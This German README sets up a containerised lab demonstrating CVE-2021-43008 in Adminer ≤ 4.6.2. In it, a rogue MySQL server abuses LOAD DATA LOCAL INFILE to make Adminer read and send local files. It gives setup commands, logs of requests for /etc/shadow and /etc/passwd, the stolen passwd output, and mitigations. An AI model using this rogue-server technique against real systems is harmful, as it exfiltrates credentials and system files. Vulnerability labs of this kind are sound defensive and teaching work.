
Demonstrationsumgebung für die Adminer-Schwachstelle CVE-2021-43008: die tatsächlichen Auswirkungen beobachten und Gegenmaßnahmen testen.
Adminer ist ein Web-Tool (PHP) zur einfachen Verwaltung von MySQL-, PostgreSQL-, SQLite- oder SQL-Server-Datenbanken. Es wird häufig als leichte Alternative zu phpMyAdmin eingesetzt.
Betroffene Versionen: Adminer ≤ 4.6.2
Adminer erlaubt die Verbindung zu jedem beliebigen entfernten MySQL-Server. Bei der Verbindung zu einem MySQL-Server akzeptiert der Client (hier Adminer):
Adminer validiert die Antworten des MySQL-Servers in den verwundbaren Versionen nicht korrekt.
Ergebnis: Ein vom Angreifer kontrollierter MySQL-Server kann anfordern:
„Lies diese lokale Datei auf dem Rechner oder Container, der Adminer hostet, und sende sie mir.“
Dieser Mechanismus hängt mit dem MySQL-Paket zusammen:
0xFB | Dateiname → löst das lokale Lesen der Datei aus.
Adminer 4.6.2 erlaubte es einem Benutzer, einen externen MySQL-Server anzugeben und sich frei mit ihm zu verbinden. MySQL erlaubte standardmäßig zusätzlich die Verwendung von:
LOAD DATA LOCAL INFILEAlso: Adminer → verbindet sich mit dem bösartigen Server → der bösartige Server fordert eine Datei an → Adminer sendet sie.
Das ist der Kern der Sicherheitslücke.
Der Angreifer muss:
LOAD DATA LOCAL INFILE.Es ist kein Root-Passwort erforderlich, um eine lokale Datei zu exfiltrieren: Adminer führt die Aktion als PHP-Anwendung auf dem Zielserver aus.
Der Angreifer kann:
Mit den gestohlenen MySQL-Anmeldedaten (als sekundärer Schritt) kann er dann:
Der PoC erfolgt in einer isolierten und containerisierten Umgebung, um jedes Risiko zu vermeiden.
localhost:80800xFB Dateiname, um Adminer zum Lesen einer lokalen Datei zu zwingen.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
In http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Verwenden Sie den folgenden Befehl, um die Protokolle des bösartigen Servers zu beobachten:
docker logs -f rogue_mysql
Erwartetes Ergebnis:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Inhalt der Datei stolen_file.txt anzeigen:
docker exec -it rogue_mysql sh
Sobald Sie sich im Container befinden, können Sie den Inhalt der Dateien, einschließlich stolen_file.txt, anzeigen:
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Ergebnis:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Dieses Ergebnis demonstriert die Sicherheitslücke eindeutig.
Zuverlässigste Lösung: Wechsel zu Adminer ≥ 4.6.3
Die nachfolgenden Versionen korrigieren das Netzwerkverhalten.
Ab Adminer 4.7.x wurden mehrere Schutzmaßnahmen eingeführt:
Adminer verbietet nun standardmäßig LOAD DATA LOCAL INFILE
Entweder:
→ Ergebnis: Ihr bösartiger MySQL-Server kann keine Dateien mehr exfiltrieren.
Adminer filtert Client-Aktionen vor dem Senden an den Server
Dadurch wird verhindert, dass externe Verbindungen gefährliche Funktionen nutzen.
Zusätzliche Eingabevalidierungsmechanismen
Die neuen Versionen überprüfen:
Adminer auf interne Hosts beschränken:
Das produktive Adminer sollte immer auf einen internen MySQL-Server verweisen.
LOCAL INFILE auf MySQL-Seite deaktivierenVerhindert Diebstahl über legitime MySQL-Clients:
[mysqld]
local_infile=0
oder:
SET GLOBAL local_infile=0;
Adminer sollte nicht über das Internet erreichbar sein.
In der Produktion:
Adminer sollte als temporäres Werkzeug betrachtet werden:
CVE-2021-43008 ist eine kritische Sicherheitslücke in Adminer ≤ 4.6.2, die es:
Dies ist eine perfekte Demonstration der Bedeutung: